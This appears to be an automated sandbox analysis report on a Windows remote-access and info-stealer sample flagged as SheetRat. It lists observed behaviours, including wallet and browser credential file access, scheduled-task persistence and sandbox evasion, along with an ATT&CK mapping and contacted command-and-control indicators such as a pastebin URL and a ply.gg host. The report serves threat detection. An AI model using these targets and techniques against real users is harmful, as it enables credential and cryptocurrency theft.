                    Source: xdwdpnsvr.exe, 00000034.00000002.2893440745.000000001B5B1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Defender\MsMpeng.exe
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Users\Public\Pictures\xdwdUpdate.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
                    Source: C:\Windows\System32\schtasks.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

                    Stealing of Sensitive Information

                    barindex
                    Yara detected SheetRat
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.12bd9ac0.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.12bd9ac0.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: CVmkXJ7e0a.exe PID: 4984, type: MEMORYSTR
                    Found many strings related to Crypto-Wallets (likely being stolen)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Electrum#\Electrum\wallets
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Exodus+\Exodus\exodus.wallet
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Ethereum%\Ethereum\keystore
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Exodus+\Exodus\exodus.wallet
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Ethereum%\Ethereum\keystore
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Ethereum%\Ethereum\keystore
                    Tries to harvest and steal browser information (history, passwords, etc)
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqliteJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqliteJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HistoryJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: CVmkXJ7e0a.exe PID: 4984, type: MEMORYSTR

                    Remote Access Functionality

                    barindex
                    Yara detected SheetRat
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.12bd9ac0.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.12bd9ac0.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.CVmkXJ7e0a.exe.1cf10000.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: CVmkXJ7e0a.exe PID: 4984, type: MEMORYSTR

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts331
                    Windows Management Instrumentation                    		1
                    DLL Side-Loading                    		1
                    DLL Side-Loading                    		1
                    Disable or Modify Tools                    		1
                    OS Credential Dumping                    		2
                    File and Directory Discovery                    		Remote Services1
                    Archive Collected Data                    		1
                    Web Service                    		Exfiltration Over Other Network Medium1
                    Data Encrypted for Impact
                    CredentialsDomainsDefault Accounts1
                    Scheduled Task/Job                    		1
                    Scheduled Task/Job                    		12
                    Process Injection                    		1
                    Obfuscated Files or Information                    		LSASS Memory123
                    System Information Discovery                    		Remote Desktop Protocol2
                    Data from Local System                    		1
                    Ingress Tool Transfer                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain AccountsAt21
                    Registry Run Keys / Startup Folder                    		1
                    Scheduled Task/Job                    		1
                    Software Packing                    		Security Account Manager441
                    Security Software Discovery                    		SMB/Windows Admin SharesData from Network Shared Drive21
                    Encrypted Channel                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook21
                    Registry Run Keys / Startup Folder                    		1
                    Timestomp                    		NTDS2
                    Process Discovery                    		Distributed Component Object ModelInput Capture1
                    Non-Standard Port                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                    DLL Side-Loading                    		LSA Secrets251
                    Virtualization/Sandbox Evasion                    		SSHKeylogging2
                    Non-Application Layer Protocol                    		Scheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
                    Masquerading                    		Cached Domain Credentials1
                    Application Window Discovery                    		VNCGUI Input Capture3
                    Application Layer Protocol                    		Data Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                    Modify Registry                    		DCSync1
                    System Network Configuration Discovery                    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job251
                    Virtualization/Sandbox Evasion                    		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
                    Process Injection                    		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1574307 Sample: CVmkXJ7e0a.exe Startdate: 13/12/2024 Architecture: WINDOWS Score: 100 74 pastebin.com 2->74 76 l-carlo.gl.at.ply.gg 2->76 78 3 other IPs or domains 2->78 86 Suricata IDS alerts for network traffic 2->86 88 Malicious sample detected (through community Yara rule) 2->88 90 Antivirus detection for URL or domain 2->90 94 7 other signatures 2->94 9 CVmkXJ7e0a.exe 19 167 2->9         started        14 xdwdpnsvr.exe 2 2->14         started        16 xdwdUpdate.exe 2->16         started        18 3 other processes 2->18 signatures3 92 Connects to a pastebin service (likely for C&C) 74->92 process4 dnsIp5 80 l-carlo.gl.at.ply.gg 147.185.221.22, 49715, 49720, 49721 SALSGIVERUS United States 9->80 82 icanhazip.com 104.16.185.241, 49719, 49723, 80 CLOUDFLARENETUS United States 9->82 84 pastebin.com 104.20.4.235, 443, 49714 CLOUDFLARENETUS United States 9->84 66 C:\Users\Public\Pictures\xdwdUpdate.exe, PE32 9->66 dropped 68 C:\Users\user\AppData\...\PWCCAWLGRE.docx, ASCII 9->68 dropped 70 C:\Users\user\AppData\...EGWXUHVUG.xlsx, ASCII 9->70 dropped 72 C:\Users\user\AppData\...\DUUDTUBZFW.jpg, ASCII 9->72 dropped 106 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 9->106 108 Creates an undocumented autostart registry key 9->108 110 Found many strings related to Crypto-Wallets (likely being stolen) 9->110 116 5 other signatures 9->116 20 cmd.exe 1 9->20         started        23 cmd.exe 1 9->23         started        25 cmd.exe 1 9->25         started        33 19 other processes 9->33 112 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->112 114 Queries memory information (via WMI often done to detect virtual machines) 14->114 27 xdwdUpdate.exe 14->27         started        29 cmd.exe 14->29         started        31 Conhost.exe 14->31         started        35 2 other processes 16->35 37 3 other processes 18->37 file6 signatures7 process8 signatures9 96 Uses schtasks.exe or at.exe to add and modify task schedules 20->96 39 schtasks.exe 1 20->39         started        42 conhost.exe 20->42         started        44 2 other processes 23->44 46 2 other processes 25->46 98 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 27->98 100 Queries memory information (via WMI often done to detect virtual machines) 27->100 48 2 other processes 27->48 50 2 other processes 29->50 52 35 other processes 33->52 54 4 other processes 35->54 56 6 other processes 37->56 process10 signatures11 102 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 39->102 104 Queries memory information (via WMI often done to detect virtual machines) 39->104 58 conhost.exe 48->58         started        60 schtasks.exe 48->60         started        62 conhost.exe 48->62         started        64 schtasks.exe 48->64         started        process12

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    CVmkXJ7e0a.exe76%ReversingLabsByteCode-MSIL.Trojan.Zilla
                    CVmkXJ7e0a.exe100%Joe Sandbox ML

                    Dropped Files

                    ⊘No Antivirus matches

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE0%Avira URL Cloudsafe
                    http://marketdedamoroza.we0%Avira URL Cloudsafe
                    http://marketdedamoroza.webhop.me/index.html0%Avira URL Cloudsafe
                    http://marketdedamoroza.webhop.me0%Avira URL Cloudsafe
                    http://www.quovadis.bm00%Avira URL Cloudsafe
                    https://ocsp.quovadisoffshore.com00%Avira URL Cloudsafe
                    http://marketdedamoroza.webhop.mep0%Avira URL Cloudsafe
                    https://pastebin.co100%Avira URL Cloudmalware
                    https://pastebin.comp0%Avira URL Cloudsafe
                    https://pastebin.c0%Avira URL Cloudsafe

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    marketdedamoroza.webhop.me
                    		0.0.0.0
                    		truefalse
                      		unknown
                      l-carlo.gl.at.ply.gg
                      		147.185.221.22
                      		truetrue
                        		unknown
                        pastebin.com
                        		104.20.4.235
                        		truefalse
                          		high
                          icanhazip.com
                          		104.16.185.241
                          		truefalse
                            		high
                            49.39.14.0.in-addr.arpa
                            		unknown
                            		unknowntrue
                              		unknown

                              Contacted URLs

                              NameMaliciousAntivirus DetectionReputation
                              http://icanhazip.com/false
                                		high
                                https://pastebin.com/raw/bCQ1bAxyfalse
                                  		high

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  http://marketdedamoroza.webhop.mepCVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://duckduckgo.com/chrome_newtabtmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drfalse
                                    		high
                                    https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrowtmp7C1B.tmp.dat.0.drfalse
                                      		high
                                      https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/searchtmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drfalse
                                        		high
                                        https://duckduckgo.com/ac/?q=tmp7714.tmp.dat.0.drfalse
                                          		high
                                          https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/downloadCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                            		high
                                            https://pastebin.com/rawxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://discordapp.com/api/v6/users/CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpfalse
                                                		high
                                                https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_tmp7C1B.tmp.dat.0.dr, Downloads.txt.0.drfalse
                                                  		high
                                                  https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXECVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-nCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                    		high
                                                    https://pastebin.coxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: malware
                                                    		unknown
                                                    https://aka.ms/odirmxdwdpnsvr.exe, 0000000F.00000002.2751034563.000000001BA07000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://pastebin.com/raw/bCQ1bAxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://pastebin.cxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.google.com/images/branding/product/ico/googleg_alldp.icotmp7E9C.tmp.dat.0.dr, tmp7714.tmp.dat.0.drfalse
                                                          		high
                                                          https://pastebin.com/raw/bCxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                              		high
                                                              https://www.eicar.org/download-anti-malware-testfile/:CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EE0000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                		high
                                                                https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttpCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                  		high
                                                                  https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=tmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drfalse
                                                                    		high
                                                                    https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339BCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                      		high
                                                                      https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                        		high
                                                                        https://secure.eicar.org/eicar.com;CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EE0000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                          		high
                                                                          https://pastebin.com/raw/bCQ1xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://pastebin.com/raw/bCQxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://pastebin.com/raw/bCQ1bAxxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292KCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                  		high
                                                                                  https://secure.eicar.org/eicar.com.txtDCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                    		high
                                                                                    https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bTCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                      		high
                                                                                      https://pastebin.compxdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://icanhazip.comCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002D4C000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://marketdedamoroza.webhop.me/index.htmlCVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://ocsp.quovadisoffshore.com0CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameCVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002960000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.00000000035DE000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002CFB000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D2B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://packetstormsecurity.com/files/download/22459/BIOS320.EXE)Downloads.txt.0.drfalse
                                                                                            		high
                                                                                            https://www.google.com/images/branding/product/ico/googleg_lodp.icotmp818B.tmp.dat.0.dr, tmp81EA.tmp.dat.0.drfalse
                                                                                              		high
                                                                                              https://secure.eicar.org/eicar.comCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, History.txt.0.dr, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                		high
                                                                                                https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exeCVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drfalse
                                                                                                  		high
                                                                                                  https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=tmp7714.tmp.dat.0.drfalse
                                                                                                    		high
                                                                                                    https://pastebin.com/rxdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
